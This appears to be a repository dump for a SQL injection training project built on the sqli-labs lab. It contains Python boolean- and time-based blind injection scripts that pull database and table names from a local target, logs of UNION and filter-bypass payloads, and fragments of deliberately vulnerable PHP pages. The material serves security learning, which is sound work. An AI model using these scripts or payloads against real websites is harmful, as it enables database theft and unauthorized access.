├── Book
├── sqli-labs参考.pdf
└── sqlmap教程.pdf
├── README.md
├── README2.md
├── README3.md
├── README4.md
├── README5.md
├── README6.md
├── README7.md
├── Src
├── Script
│ ├── Bool-injection-POST.py
│ ├── Bool-injection.py
│ ├── TimeBased-ForDatabases.py
│ └── TimeBased-ForTables.py
├── sqli-labs.zip
└── sqli-labs
│ └── sqli-labs-master
│ ├── Less-1
│ ├── index.php
│ └── result.txt
│ ├── Less-10
│ └── index.php
│ ├── Less-11
│ └── index.php
│ ├── Less-12
│ └── index.php
│ ├── Less-13
│ └── index.php
│ ├── Less-14
│ └── index.php
│ ├── Less-15
│ └── index.php
│ ├── Less-16
│ └── index.php
│ ├── Less-17
│ └── index.php
│ ├── Less-18
│ └── index.php
│ ├── Less-19
│ └── index.php
│ ├── Less-2
│ ├── index.php
│ └── result.txt
│ ├── Less-20
│ └── index.php
│ ├── Less-21
│ ├── index.php
│ └── result.txt
│ ├── Less-22
│ ├── index.php
│ └── result.txt
│ ├── Less-23
│ └── index.php
│ ├── Less-24
│ ├── failed.php
│ ├── forgot_password.php
│ ├── index.php
│ ├── logged-in.php
│ ├── login.php
│ ├── login_create.php
│ ├── new_user.php
│ └── pass_change.php
│ ├── Less-25
│ └── index.php
│ ├── Less-25a
│ ├── index.php
│ └── result.txt
│ ├── Less-26
│ ├── index.php
│ └── result.txt
│ ├── Less-26a
│ └── index.php
│ ├── Less-27
│ ├── index.php
│ └── result.txt
│ ├── Less-27a
│ └── index.php
│ ├── Less-28
│ ├── index.php
│ └── result.txt
│ ├── Less-28a
│ └── index.php
│ ├── Less-29
│ ├── hacked.php
│ ├── index.php
│ └── login.php
│ ├── Less-3
│ └── index.php
│ ├── Less-30
│ ├── hacked.php
│ ├── index.php
│ └── login.php
│ ├── Less-31
│ ├── hacked.php
│ ├── index.php
│ └── login.php
│ ├── Less-32
│ └── index.php
│ ├── Less-33
│ └── index.php
│ ├── Less-34
│ └── index.php
│ ├── Less-35
│ └── index.php
│ ├── Less-36
│ └── index.php
│ ├── Less-37
│ └── index.php
│ ├── Less-38
│ ├── index.php
│ └── phpinfo.php
│ ├── Less-39
│ └── index.php
│ ├── Less-4
│ ├── index.php
│ └── result.txt
│ ├── Less-40
│ ├── failed.php
│ ├── forgot_password.php
│ ├── index.php
│ ├── logged-in.php
│ ├── login.php
│ ├── login_create.php
│ ├── new_user.php
│ └── pass_change.php
│ ├── Less-41
│ └── index.php
│ ├── Less-42
│ ├── acc-create.php
│ ├── failed.php
│ ├── forgot_password.php
│ ├── index.php
│ ├── logged-in.php
│ ├── login.php
│ └── pass_change.php
│ ├── Less-43
│ ├── Text-2.txt
│ ├── acc-create.php
│ ├── failed.php
│ ├── forgot_password.php
│ ├── index.php
│ ├── logged-in.php
│ ├── login.php
│ └── pass_change.php
│ ├── Less-44
│ ├── acc-create.php
│ ├── failed.php
│ ├── forgot_password.php
│ ├── index.php
│ ├── logged-in.php
│ ├── login.php
│ └── pass_change.php
│ ├── Less-45
│ ├── acc-create.php
│ ├── failed.php
│ ├── forgot_password.php
│ ├── index.php
│ ├── logged-in.php
│ ├── login.php
│ └── pass_change.php
│ ├── Less-46
│ └── index.php
│ ├── Less-47
│ └── index.php
│ ├── Less-48
│ └── index.php
│ ├── Less-49
│ └── index.php
│ ├── Less-5
│ └── index.php
│ ├── Less-50
│ └── index.php
│ ├── Less-51
│ └── index.php
│ ├── Less-52
│ ├── index.php
│ └── result.txt
│ ├── Less-53
│ ├── index.php
│ └── result.txt
│ ├── Less-54
│ ├── index.php
│ └── result.txt
│ ├── Less-55
│ ├── index.php
│ └── result.txt
│ ├── Less-56
│ ├── index.php
│ └── result.txt
│ ├── Less-57
│ ├── index.php
│ └── result.txt
│ ├── Less-58
│ ├── index.php
│ └── result.txt
│ ├── Less-59
│ ├── index.php
│ └── result.txt
│ ├── Less-6
│ └── index.php
│ ├── Less-60
│ ├── index.php
│ └── result.txt
│ ├── Less-61
│ ├── index.php
│ └── result.txt
│ ├── Less-62
│ ├── index.php
│ └── result.txt
│ ├── Less-63
│ ├── index.php
│ └── result.txt
│ ├── Less-64
│ ├── index.php
│ └── result.txt
│ ├── Less-65
│ ├── index.php
│ └── result.txt
│ ├── Less-7
│ └── index.php
│ ├── Less-8
│ └── index.php
│ ├── Less-9
│ └── index.php
│ ├── SQL Injections-1.mm
│ ├── SQL Injections-2.mm
│ ├── SQL Injections-3.mm
│ ├── SQL Injections.mm
│ ├── SQL Injections.png
│ ├── images
│ ├── Home.png
│ ├── Less-1.jpg
│ ├── Less-10.jpg
│ ├── Less-2.jpg
│ ├── Less-20.jpg
│ ├── Less-21.jpg
│ ├── Less-22.jpg
│ ├── Less-23.jpg
│ ├── Less-24-new-user.jpg
│ ├── Less-24-user-created.jpg
│ ├── Less-24.jpg
│ ├── Less-25-1.jpg
│ ├── Less-25.jpg
│ ├── Less-25a-1.jpg
│ ├── Less-25a.jpg
│ ├── Less-26-1.jpg
│ ├── Less-26-a.jpg
│ ├── Less-26.jpg
│ ├── Less-26a-1.jpg
│ ├── Less-27-1.jpg
│ ├── Less-27.jpg
│ ├── Less-27a-1.jpg
│ ├── Less-27a.jpg
│ ├── Less-28-1.jpg
│ ├── Less-28.jpg
│ ├── Less-28a-1.jpg
│ ├── Less-28a.jpg
│ ├── Less-29-1.jpg
│ ├── Less-29.jpg
│ ├── Less-3.jpg
│ ├── Less-30-1.jpg
│ ├── Less-30.jpg
│ ├── Less-31-1.jpg
│ ├── Less-31.jpg
│ ├── Less-32.jpg
│ ├── Less-33.jpg
│ ├── Less-34.jpg
│ ├── Less-35.jpg
│ ├── Less-36.jpg
│ ├── Less-37.jpg
│ ├── Less-38.jpg
│ ├── Less-39.jpg
│ ├── Less-3a.jpg
│ ├── Less-4.jpg
│ ├── Less-40.jpg
│ ├── Less-41.jpg
│ ├── Less-42.jpg
│ ├── Less-43.jpg
│ ├── Less-44.jpg
│ ├── Less-45.jpg
│ ├── Less-46.jpg
│ ├── Less-47.jpg
│ ├── Less-48.jpg
│ ├── Less-49.jpg
│ ├── Less-5.jpg
│ ├── Less-50-1.jpg
│ ├── Less-50.jpg
│ ├── Less-51.jpg
│ ├── Less-52.jpg
│ ├── Less-53.jpg
│ ├── Less-54-1.jpg
│ ├── Less-54-2.jpg
│ ├── Less-54.jpg
│ ├── Less-55.jpg
│ ├── Less-56.jpg
│ ├── Less-57.jpg
│ ├── Less-58.jpg
│ ├── Less-59.jpg
│ ├── Less-6.jpg
│ ├── Less-60.jpg
│ ├── Less-61.jpg
│ ├── Less-62.jpg
│ ├── Less-63.jpg
│ ├── Less-64.jpg
│ ├── Less-65.jpg
│ ├── Less-66.jpg
│ ├── Less-7.jpg
│ ├── Less-8.jpg
│ ├── Less-9.jpg
│ ├── Logged-in.jpg
│ ├── acc-create.jpg
│ ├── flag.jpg
│ ├── flag1.jpg
│ ├── pass-forgot.jpg
│ ├── password-updated.jpg
│ ├── slap.jpg
│ ├── slap1.jpg
│ └── waf.jpg
│ ├── index-1.html
│ ├── index-1.html_files
│ ├── freemind2html.css
│ ├── hide.png
│ ├── icons
│ │ ├── Mail.png
│ │ ├── attach.png
│ │ ├── back.png
│ │ ├── bell.png
│ │ ├── bookmark.png
│ │ ├── broken-line.png
│ │ ├── button_cancel.png
│ │ ├── button_ok.png
│ │ ├── calendar.png
│ │ ├── clanbomber.png
│ │ ├── clock.png
│ │ ├── closed.png
│ │ ├── desktop_new.png
│ │ ├── down.png
│ │ ├── edit.png
│ │ ├── family.png
│ │ ├── fema.png
│ │ ├── female1.png
│ │ ├── female2.png
│ │ ├── flag-black.png
│ │ ├── flag-blue.png
│ │ ├── flag-green.png
│ │ ├── flag-orange.png
│ │ ├── flag-pink.png
│ │ ├── flag-yellow.png
│ │ ├── flag.png
│ │ ├── folder.png
│ │ ├── forward.png
│ │ ├── freemind_butterfly.png
│ │ ├── full-0.png
│ │ ├── full-1.png
│ │ ├── full-2.png
│ │ ├── full-3.png
│ │ ├── full-4.png
│ │ ├── full-5.png
│ │ ├── full-6.png
│ │ ├── full-7.png
│ │ ├── full-8.png
│ │ ├── full-9.png
│ │ ├── go.png
│ │ ├── gohome.png
│ │ ├── group.png
│ │ ├── help.png
│ │ ├── hourglass.png
│ │ ├── idea.png
│ │ ├── info.png
│ │ ├── kaddressbook.png
│ │ ├── kmail.png
│ │ ├── knotify.png
│ │ ├── korn.png
│ │ ├── ksmiletris.png
│ │ ├── launch.png
│ │ ├── licq.png
│ │ ├── list.png
│ │ ├── male1.png
│ │ ├── male2.png
│ │ ├── messagebox_warning.png
│ │ ├── password.png
│ │ ├── pencil.png
│ │ ├── penguin.png
│ │ ├── prepare.png
│ │ ├── smiley-angry.png
│ │ ├── smiley-neutral.png
│ │ ├── smiley-oh.png
│ │ ├── smily_bad.png
│ │ ├── stop-sign.png
│ │ ├── stop.png
│ │ ├── up.png
│ │ ├── wizard.png
│ │ ├── xmag.png
│ │ └── yes.png
│ ├── ilink.png
│ ├── image.old.png
│ ├── image.png
│ ├── leaf.png
│ └── show.png
│ ├── index-2.html
│ ├── index-2.html_files
│ ├── freemind2html.css
│ ├── hide.png
│ ├── icons
│ │ ├── Mail.png
│ │ ├── attach.png
│ │ ├── back.png
│ │ ├── bell.png
│ │ ├── bookmark.png
│ │ ├── broken-line.png
│ │ ├── button_cancel.png
│ │ ├── button_ok.png
│ │ ├── calendar.png
│ │ ├── clanbomber.png
│ │ ├── clock.png
│ │ ├── closed.png
│ │ ├── desktop_new.png
│ │ ├── down.png
│ │ ├── edit.png
│ │ ├── family.png
│ │ ├── fema.png
│ │ ├── female1.png
│ │ ├── female2.png
│ │ ├── flag-black.png
│ │ ├── flag-blue.png
│ │ ├── flag-green.png
│ │ ├── flag-orange.png
│ │ ├── flag-pink.png
│ │ ├── flag-yellow.png
│ │ ├── flag.png
│ │ ├── folder.png
│ │ ├── forward.png
│ │ ├── freemind_butterfly.png
│ │ ├── full-0.png
│ │ ├── full-1.png
│ │ ├── full-2.png
│ │ ├── full-3.png
│ │ ├── full-4.png
│ │ ├── full-5.png
│ │ ├── full-6.png
│ │ ├── full-7.png
│ │ ├── full-8.png
│ │ ├── full-9.png
│ │ ├── go.png
│ │ ├── gohome.png
│ │ ├── group.png
│ │ ├── help.png
│ │ ├── hourglass.png
│ │ ├── idea.png
│ │ ├── info.png
│ │ ├── kaddressbook.png
│ │ ├── kmail.png
│ │ ├── knotify.png
│ │ ├── korn.png
│ │ ├── ksmiletris.png
│ │ ├── launch.png
│ │ ├── licq.png
│ │ ├── list.png
│ │ ├── male1.png
│ │ ├── male2.png
│ │ ├── messagebox_warning.png
│ │ ├── password.png
│ │ ├── pencil.png
│ │ ├── penguin.png
│ │ ├── prepare.png
│ │ ├── smiley-angry.png
│ │ ├── smiley-neutral.png
│ │ ├── smiley-oh.png
│ │ ├── smily_bad.png
│ │ ├── stop-sign.png
│ │ ├── stop.png
│ │ ├── up.png
│ │ ├── wizard.png
│ │ ├── xmag.png
│ │ └── yes.png
│ ├── ilink.png
│ ├── image.png
│ ├── leaf.png
│ ├── map_location.png
│ └── show.png
│ ├── index-3.html
│ ├── index-3.html_files
│ ├── freemind2html.css
│ ├── hide.png
│ ├── icons
│ │ ├── Mail.png
│ │ ├── attach.png
│ │ ├── back.png
│ │ ├── bell.png
│ │ ├── bookmark.png
│ │ ├── broken-line.png
│ │ ├── button_cancel.png
│ │ ├── button_ok.png
│ │ ├── calendar.png
│ │ ├── clanbomber.png
│ │ ├── clock.png
│ │ ├── closed.png
│ │ ├── desktop_new.png
│ │ ├── down.png
│ │ ├── edit.png
│ │ ├── family.png
│ │ ├── fema.png
│ │ ├── female1.png
│ │ ├── female2.png
│ │ ├── flag-black.png
│ │ ├── flag-blue.png
│ │ ├── flag-green.png
│ │ ├── flag-orange.png
│ │ ├── flag-pink.png
│ │ ├── flag-yellow.png
│ │ ├── flag.png
│ │ ├── folder.png
│ │ ├── forward.png
│ │ ├── freemind_butterfly.png
│ │ ├── full-0.png
│ │ ├── full-1.png
│ │ ├── full-2.png
│ │ ├── full-3.png
│ │ ├── full-4.png
│ │ ├── full-5.png
│ │ ├── full-6.png
│ │ ├── full-7.png
│ │ ├── full-8.png
│ │ ├── full-9.png
│ │ ├── go.png
│ │ ├── gohome.png
│ │ ├── group.png
│ │ ├── help.png
│ │ ├── hourglass.png
│ │ ├── idea.png
│ │ ├── info.png
│ │ ├── kaddressbook.png
│ │ ├── kmail.png
│ │ ├── knotify.png
│ │ ├── korn.png
│ │ ├── ksmiletris.png
│ │ ├── launch.png
│ │ ├── licq.png
│ │ ├── list.png
│ │ ├── male1.png
│ │ ├── male2.png
│ │ ├── messagebox_warning.png
│ │ ├── password.png
│ │ ├── pencil.png
│ │ ├── penguin.png
│ │ ├── prepare.png
│ │ ├── smiley-angry.png
│ │ ├── smiley-neutral.png
│ │ ├── smiley-oh.png
│ │ ├── smily_bad.png
│ │ ├── stop-sign.png
│ │ ├── stop.png
│ │ ├── up.png
│ │ ├── wizard.png
│ │ ├── xmag.png
│ │ └── yes.png
│ ├── ilink.png
│ ├── image.png
│ ├── leaf.png
│ ├── map_location.png
│ └── show.png
│ ├── index.html
│ ├── index.html_files
│ ├── freemind2html.css
│ ├── hide.png
│ ├── icons
│ │ ├── Mail.png
│ │ ├── attach.png
│ │ ├── back.png
│ │ ├── bell.png
│ │ ├── bookmark.png
│ │ ├── broken-line.png
│ │ ├── button_cancel.png
│ │ ├── button_ok.png
│ │ ├── calendar.png
│ │ ├── clanbomber.png
│ │ ├── clock.png
│ │ ├── closed.png
│ │ ├── desktop_new.png
│ │ ├── down.png
│ │ ├── edit.png
│ │ ├── family.png
│ │ ├── fema.png
│ │ ├── female1.png
│ │ ├── female2.png
│ │ ├── flag-black.png
│ │ ├── flag-blue.png
│ │ ├── flag-green.png
│ │ ├── flag-orange.png
│ │ ├── flag-pink.png
│ │ ├── flag-yellow.png
│ │ ├── flag.png
│ │ ├── folder.png
│ │ ├── forward.png
│ │ ├── freemind_butterfly.png
│ │ ├── full-0.png
│ │ ├── full-1.png
│ │ ├── full-2.png
│ │ ├── full-3.png
│ │ ├── full-4.png
│ │ ├── full-5.png
│ │ ├── full-6.png
│ │ ├── full-7.png
│ │ ├── full-8.png
│ │ ├── full-9.png
│ │ ├── go.png
│ │ ├── gohome.png
│ │ ├── group.png
│ │ ├── help.png
│ │ ├── hourglass.png
│ │ ├── idea.png
│ │ ├── info.png
│ │ ├── kaddressbook.png
│ │ ├── kmail.png
│ │ ├── knotify.png
│ │ ├── korn.png
│ │ ├── ksmiletris.png
│ │ ├── launch.png
│ │ ├── licq.png
│ │ ├── list.png
│ │ ├── male1.png
│ │ ├── male2.png
│ │ ├── messagebox_warning.png
│ │ ├── password.png
│ │ ├── pencil.png
│ │ ├── penguin.png
│ │ ├── prepare.png
│ │ ├── smiley-angry.png
│ │ ├── smiley-neutral.png
│ │ ├── smiley-oh.png
│ │ ├── smily_bad.png
│ │ ├── stop-sign.png
│ │ ├── stop.png
│ │ ├── up.png
│ │ ├── wizard.png
│ │ ├── xmag.png
│ │ └── yes.png
│ ├── ilink.png
│ ├── image.png
│ ├── leaf.png
│ ├── marktree.js
│ ├── minus.png
│ ├── plus.png
│ ├── show.png
│ └── treestyles.css
│ ├── readme.md
│ ├── readme.md~
│ ├── readme.txt
│ ├── readme.txt~
│ ├── sql-connections
│ ├── db-creds.inc
│ ├── functions.php
│ ├── setup-db-challenge.php
│ ├── setup-db.php
│ ├── sql-connect-1.php
│ ├── sql-connect.php
│ ├── sqli-connect.php
│ └── test.php
│ ├── sql-lab.sql
│ └── tomcat-files.zip
├── Tools
└── sqlmapproject-sqlmap.zip
└── image
├── 31.png
├── 32.png
├── 33.png
├── 34.png
├── 51.png
├── 52.png
├── 53.png
├── 54.png
├── 55.png
├── 61.png
├── 62.png
├── 63.png
├── 71.png
├── 72.png
├── 73.png
└── Sqli-Labs-Sqlmap-基础篇
├── 1.png
├── 10.png
├── 11.png
├── 2.png
├── 3.png
├── 4.png
├── 5.png
├── 6.png
├── 7.png
├── 8.png
└── 9.png
/Book/sqli-labs参考.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bkfish/Sql-Injection/a565d3e3d42bce6dc199c66b332c0f5a3af7f208/Book/sqli-labs参考.pdf
--------------------------------------------------------------------------------
/Book/sqlmap教程.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bkfish/Sql-Injection/a565d3e3d42bce6dc199c66b332c0f5a3af7f208/Book/sqlmap教程.pdf
--------------------------------------------------------------------------------
/Src/Script/Bool-injection.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # encoding:utf8
3 |
4 | import requests
5 | import time
6 | import sys
7 |
8 | # config-start
9 | sleep_time = 5
10 | error_time = 1
11 | # config-end
12 |
13 | def getPayload(indexOfResult, indexOfChar, mid):
14 | column_name="schema_name"
15 | table_name="schemata"
16 | database_name="information_schema"
17 | startStr = "1'and "
18 | endStr = " and'1'='1"
19 | payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")"
20 | payload = startStr + payload + endStr
21 | return payload
22 |
23 | def exce(indexOfResult,indexOfChar,mid):
24 | # content-start
25 | url = "http://localhost/sqli-labs-master/Less-5/?id="
26 | tempurl = url + getPayload(indexOfResult,indexOfChar,mid)
27 | content = requests.get(tempurl).text
28 | # content-end
29 | # judge-start
30 | if "You are in..........." in content:
31 | return True
32 | else:
33 | return False
34 | # judge-end
35 |
36 | def doubleSearch(indexOfResult,indexOfChar,left_number, right_number):
37 | while left_number < right_number:
38 | mid = int((left_number + right_number) / 2)
39 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
40 | left_number = mid
41 | else:
42 | right_number = mid
43 | if left_number == right_number - 1:
44 | if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
45 | mid += 1
46 | break
47 | else:
48 | break
49 | return chr(mid)
50 |
51 | def search():
52 | for i in range(32): # 需要遍历的查询结果的数量
53 | counter = 0
54 | for j in range(32): # 结果的长度
55 | counter += 1
56 | temp = doubleSearch(i, j, 0, 127) # 从255开始查询
57 | if ord(temp) == 1: # 当为1的时候说明已经查询结束
58 | break
59 | sys.stdout.write(temp)
60 | sys.stdout.flush()
61 | if counter == 1: # 当结果集的所有行都被遍历后退出
62 | break
63 | sys.stdout.write("\r\n")
64 | sys.stdout.flush()
65 |
66 | search()
--------------------------------------------------------------------------------
/Src/Script/TimeBased-ForDatabases.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import requests
3 | import time
4 | url = 'http://localhost/sqli-labs-master/Less-9/?id=1'
5 | def check(payload):
6 | url_new = url + payload
7 | time_start = time.time()
8 | content = requests.get(url=url_new)
9 | time_end = time.time()
10 | if time_end - time_start >5:
11 | return 1
12 | result = ''
13 | s = r'0123456789abcdefghijklmnopqrstuvwxyz_'
14 | for i in range(1,50):
15 | flag=0;
16 | for c in s:
17 | payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c)
18 | print("Database name: "+result+" | Payload: "+payload)
19 | if check(payload):
20 | flag=1;
21 | result += c
22 | break
23 | if(flag==0):
24 | print("Over")
25 | print("Database name: ")
26 | break
27 | print (result)
--------------------------------------------------------------------------------
/Src/Script/TimeBased-ForTables.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import requests
3 | import time
4 | url = 'http://localhost/sqli-labs-master/Less-9/?id=1'
5 | def check(payload):
6 | url_new = url + payload
7 | time_start = time.time()
8 | content = requests.get(url=url_new)
9 | time_end = time.time()
10 | if time_end - time_start >5:
11 | return 1
12 | result = ''
13 | panduan = ''
14 | ll=0
15 | s = r'0123456789abcdefghijklmnopqrstuvwxyz'
16 | for i in range(1,100):
17 | for c in s:
18 | payload = "'and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
19 | print("Table_name name: "+result+" | Payload: "+payload)
20 | if check(payload):
21 | result += c
22 | break
23 | if ll==len(result):
24 | print ('table_name: '+result)
25 | ll = len(result)
26 | print (result)
--------------------------------------------------------------------------------
/Src/sqli-labs.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bkfish/Sql-Injection/a565d3e3d42bce6dc199c66b332c0f5a3af7f208/Src/sqli-labs.zip
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-1/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Less-1 **Error Based- String**
6 |
7 |
8 |
9 | Welcome Dhakkan
10 |
11 |
12 |
13 | ";
36 | echo 'Your Login name:'. $row['username'];
37 | echo "
";
38 | echo 'Your Password:' .$row['password'];
39 | echo "";
40 | }
41 | else
42 | {
43 | echo '';
44 | print_r(mysql_error());
45 | echo "";
46 | }
47 | }
48 | else { echo "Please input the ID as parameter with numeric value";}
49 |
50 | ?>
51 |
52 | 
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-1/result.txt:
--------------------------------------------------------------------------------
1 | ID:1
2 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-10/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Less-10 Blind- Time based- Double Quotes- String
6 |
7 |
8 |
9 | Welcome Dhakkan
10 |
11 |
12 |
13 | ';
37 | echo 'You are in...........';
38 | echo "
";
39 | echo "";
40 | }
41 | else
42 | {
43 |
44 | echo '';
45 | echo 'You are in...........';
46 | //print_r(mysql_error());
47 | //echo "You have an error in your SQL syntax";
48 | echo "";
49 | echo '';
50 |
51 | }
52 | }
53 | else { echo "Please input the ID as parameter with numeric value";}
54 |
55 | ?>
56 |
57 | 
58 |
59 |
60 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-2/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Less-2 **Error Based- Intiger**
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 | Welcome Dhakkan
14 |
15 |
16 |
17 | ";
39 | echo 'Your Login name:'. $row['username'];
40 | echo "
";
41 | echo 'Your Password:' .$row['password'];
42 | echo "";
43 | }
44 | else
45 | {
46 | echo '';
47 | print_r(mysql_error());
48 | echo "";
49 | }
50 | }
51 | else
52 | {
53 | echo "Please input the ID as parameter with numeric value";
54 | }
55 |
56 | ?>
57 |
58 |
59 |
60 | 
61 |
62 |
63 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-2/result.txt:
--------------------------------------------------------------------------------
1 | ID:1
2 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-21/result.txt:
--------------------------------------------------------------------------------
1 | Cookie:admin
2 | Cookie:admin
3 | Cookie:admin
4 | Cookie:
5 | Cookie:
6 | Cookie:
7 | Cookie:admin
8 | Cookie:
9 | Cookie:Dumb
10 | Cookie:
11 | Cookie:Dumb
12 | Cookie:admin
13 | Cookie:') union select 1,database(),user() #
14 | Cookie:admin
15 | Cookie:
16 | Cookie:Dumb
17 | Cookie:
18 | Cookie:admin
19 | Cookie:Dumb
20 | Cookie:superman
21 | Cookie:
22 | Cookie:') union select 1, database(), current_user #
23 | Cookie:admin
24 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-22/result.txt:
--------------------------------------------------------------------------------
1 | Cookie:admin
2 | Cookie:
3 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-23/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Less-23 **Error Based- no comments**
6 |
7 |
8 |
9 | Welcome Dhakkan
10 |
11 |
12 |
13 | ';
43 | echo 'Your Login name:'. $row['username'];
44 | echo "
";
45 | echo 'Your Password:' .$row['password'];
46 | echo "";
47 | }
48 | else
49 | {
50 | echo '';
51 | print_r(mysql_error());
52 | echo "";
53 | }
54 | }
55 | else { echo "Please input the ID as parameter with numeric value";}
56 |
57 | ?>
58 |
59 | 
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-24/failed.php:
--------------------------------------------------------------------------------
1 |
12 |
13 |
14 |
15 |
16 |
19 |
20 |
21 |
22 | 
23 |
24 |
12 |
13 | 
14 |
15 |
51 |
52 |
53 |
54 | |
55 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-24/pass_change.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
16 |
19 | ';
42 | echo '';
43 | if($row==1)
44 | {
45 | echo "Password successfully updated";
46 |
47 | }
48 | else
49 | {
50 | header('Location: failed.php');
51 | //echo 'You tried to be smart, Try harder!!!! :( ';
52 | }
53 | }
54 | else
55 | {
56 | echo '';
57 | echo "Make sure New Password and Retype Password fields have same value";
58 | header('refresh:2, url=index.php');
59 | }
60 | }
61 | ?>
62 |
70 |
71 |
72 |
73 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-25a/result.txt:
--------------------------------------------------------------------------------
1 | ID:1
2 | ID:1
3 | ID:a
4 | ID:a
5 | ID:1
6 | ID:1and 1
7 | ID:1 and 1=1
8 | ID:1 and
9 | ID:2
10 | ID:3
11 | ID:3
12 | ID:1
13 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-26/result.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bkfish/Sql-Injection/a565d3e3d42bce6dc199c66b332c0f5a3af7f208/Src/sqli-labs/sqli-labs-master/Less-26/result.txt
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-27/result.txt:
--------------------------------------------------------------------------------
1 | ID:1
2 | ID:1\
3 | ID:1' union select 1,2,3 --
4 | ID:1' Union select 1,2,3 --
5 | ID:1' UnIon select 1,2,3 --
6 | ID:1' uniunionon select 1,2,3 --
7 | ID:1' uniunionon seselectlect 1,2,3 --
8 | ID:1' uniunionon seselectlect 1,2,3
9 | ID:1' uniunionon seselectlect 1,2,3 #
10 | ID:1' uniunionon seselectlect 1,2,3
11 | --
12 |
13 | ID:1' uniunionon Select 1,2,3
14 | --
15 |
16 | ID:1' uniunionon all Select 1,2,3
17 | --
18 |
19 | ID:1' uniunionon selSelectect 1,2,3
20 | --
21 |
22 | ID:1' uniunionon
23 | selSelectect 1,2,3
24 | --
25 |
26 | ID:1' uniunionon
27 | selSelectect
28 | 1,2,3
29 | --
30 |
31 | ID:1'
32 | uniunionon
33 | selSelectect
34 | 1,2,3
35 | --
36 |
37 | ID:1'
38 | uniunionon
39 | selSelectect
40 | 1,2,3
41 | OR '1
42 | ID:-1'
43 | uniunionon
44 | selSelectect
45 | 1,2,3
46 | OR '1
47 | ID:99'
48 | uniunionon
49 | selSelectect
50 | 1,2,3
51 | OR '1
52 | ID:99'
53 | uniunionon
54 | selSelectect
55 | database(),2,3
56 | OR '1
57 | ID:99'
58 | uniunionon
59 | selSelectect
60 | 1,database(),3
61 | OR '1
62 | ID:99'
63 | uniunionon
64 | selSelectect
65 | 1,version(),3
66 | OR '1
67 | ID:99'
68 | uniunionon
69 | selSelectect
70 | 1,@@hostname,3
71 | OR '1
72 | ID:99'
73 | uniunionon
74 | selSelectect
75 | 1,@@datadir,3
76 | OR '1
77 | ID:99'
78 | uniunionon
79 | selSelectect
80 | 1,@@port,3
81 | OR '1
82 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-28/result.txt:
--------------------------------------------------------------------------------
1 | ID:1
2 | ID:1'
3 | ID:1"
4 | ID:1' AND 1=1 --
5 | ID:1 AND 1=1 --
6 | ID:1 AND 1=0 --
7 | ID:1" AND 1=0 --
8 | ID:1" AND 1=1 --
9 | ID:1' AND 1=1 --
10 | ID:1') AND 1=1 --
11 | ID:1\
12 | ID:1')
13 | ID:1') --
14 | ID:1 --
15 | ID:1 AND 1 --
16 | ID:1 AND 0 --
17 | ID:1') AND 0 --
18 | ID:1') AND 1 --
19 | ID:1') AND 1 --
20 | ID:1')
21 | AND
22 | 1
23 | --
24 | ID:1')
25 | AND
26 | 1
27 | #
28 | ID:1') #
29 | ID:1') #
30 | ID:1') #
31 | ID:99')
32 | uniunionon
33 | selSelectect
34 | 1,@@port,3
35 | OR ('1
36 | ID:99')
37 | UnIoN
38 | SeLect
39 | 1,@@port,3
40 | OR ('1
41 | ID:99')
42 | UnIoN
43 | all
44 | SeLect
45 | 1,@@port,3
46 | OR ('1
47 | ID:99')
48 | UnIoN
49 | all
50 | SeLect
51 | 1,user(),3
52 | OR ('1
53 |
--------------------------------------------------------------------------------
/Src/sqli-labs/sqli-labs-master/Less-29/hacked.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Less-29 WAF BYPASS
4 |
5 |
6 | 
HOME
18 | 
18 |